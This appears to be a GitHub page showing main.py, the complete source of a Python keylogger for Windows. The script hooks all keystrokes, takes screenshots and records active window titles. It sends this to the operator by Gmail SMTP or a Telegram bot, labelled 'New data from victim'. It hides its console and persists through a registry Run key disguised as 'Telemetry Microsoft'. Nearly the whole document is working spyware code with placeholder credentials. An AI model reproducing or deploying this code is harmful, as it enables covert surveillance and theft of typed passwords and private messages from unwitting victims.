-
Notifications
You must be signed in to change notification settings - Fork 6
/
main.py
138 lines (114 loc) · 3.89 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#########Settings#######jj#
import sys
import keyboard
import win32api,pythoncom
import win32console
import win32gui
import telebot
import os,time,random,smtplib,string,base64
from winreg import *
from email.message import EmailMessage
# Create the container email message.
msg = EmailMessage()
global t,start_time,pics_names,yourgmail,yourgmailpass,sendto,interval
t=""
pics_names=[]
#########Settings########
yourgmail="EDITWITHYOURGMAIL"
yourgmailpass="EDITWITHYOURGMAILPASSWORD"
sendto="WHATDOYOUEAMILYOUWANTTOSEND"
interval=INTERVALINSECONDS
USER_ID_TELEGRAM=EDITWITHYOURUSERID
TOKEN_BOT="EDITWITHYOURTOKENBOT"
ENABLE_TELEGRAM=WISHENABLETELEGRAM
ENABLE_EMAIL=WISHENABLEEMAIL
########################
recently_active_windows = set()
bot = telebot.AsyncTeleBot(TOKEN_BOT)
try:
f = open('Logfile.txt', 'a')
f.close()
except:
f = open('Logfile.txt', 'w')
f.close()
def addStartup(): # this will add the file to the startup registry key
fp = os.path.dirname(os.path.realpath(__file__))
file_name = sys.argv[0].split('\\')[-1]
new_file_path = fp + '\\' + file_name
keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run'
key2change = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS)
SetValueEx(key2change, 'Telemetry Microsoft', 0, REG_SZ,
new_file_path)
def Hide():
import win32console
import win32gui
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
def ScreenShot():
global pics_names
import pyautogui
def generate_name():
return ''.join(random.choice(string.ascii_uppercase
+ string.digits) for _ in range(7))
name = str(generate_name())
pics_names.append(name+'.png')
pyautogui.screenshot(name + '.png')
def Get_recently_active_windows():
recently_windows = b''
for w in recently_active_windows:
recently_windows += b' \n' + w.encode('utf-8')
recently_windows = b'\n\nRecently active windows: ' + recently_windows
return recently_windows
def Mail_it(data, pics_names):
recently_windows = Get_recently_active_windows()
data = data.encode('utf-8') + recently_windows
data = b'New data from victim\n' + data
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(yourgmail, yourgmailpass)
server.sendmail(yourgmail, sendto, data)
server.close()
for pic in pics_names:
with open(pic, 'rb') as fp:
img_data = fp.read()
msg.add_attachment(img_data, maintype='image', subtype='png')
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(yourgmail, yourgmailpass)
server.sendmail(yourgmail, sendto, data)
server.sendmail(yourgmail, sendto, img_data)
server.close()
def Telegram_it(data, pics_names):
recently_windows = Get_recently_active_windows()
data = data.encode('utf-8') + recently_windows
data = b'New data from victim\n' + data
bot.send_message(USER_ID_TELEGRAM, data)
for pic in pics_names:
with open(pic, 'rb') as fp:
img_data = fp.read()
bot.send_photo(USER_ID_TELEGRAM, img_data)
def OnKeyboardEvent(event):
global yourgmail, yourgmailpass, sendto, interval, recently_active_windows
active_window = win32gui.GetWindowText(win32gui.GetForegroundWindow())
recently_active_windows.add(active_window)
data = event.name
global t, start_time
t = t + data
if len(t) > 500:
ScreenShot()
f = open('Logfile.txt', 'a')
f.write(t)
f.close()
t = ''
if int(time.time() - start_time) >= int(interval):
ScreenShot()
if ENABLE_EMAIL:
Mail_it(t, pics_names)
if ENABLE_TELEGRAM:
Telegram_it(t, pics_names)
t = ''
addStartup()
Hide()
keyboard.hook(OnKeyboardEvent, suppress=True)
start_time = time.time()
pythoncom.PumpMessages()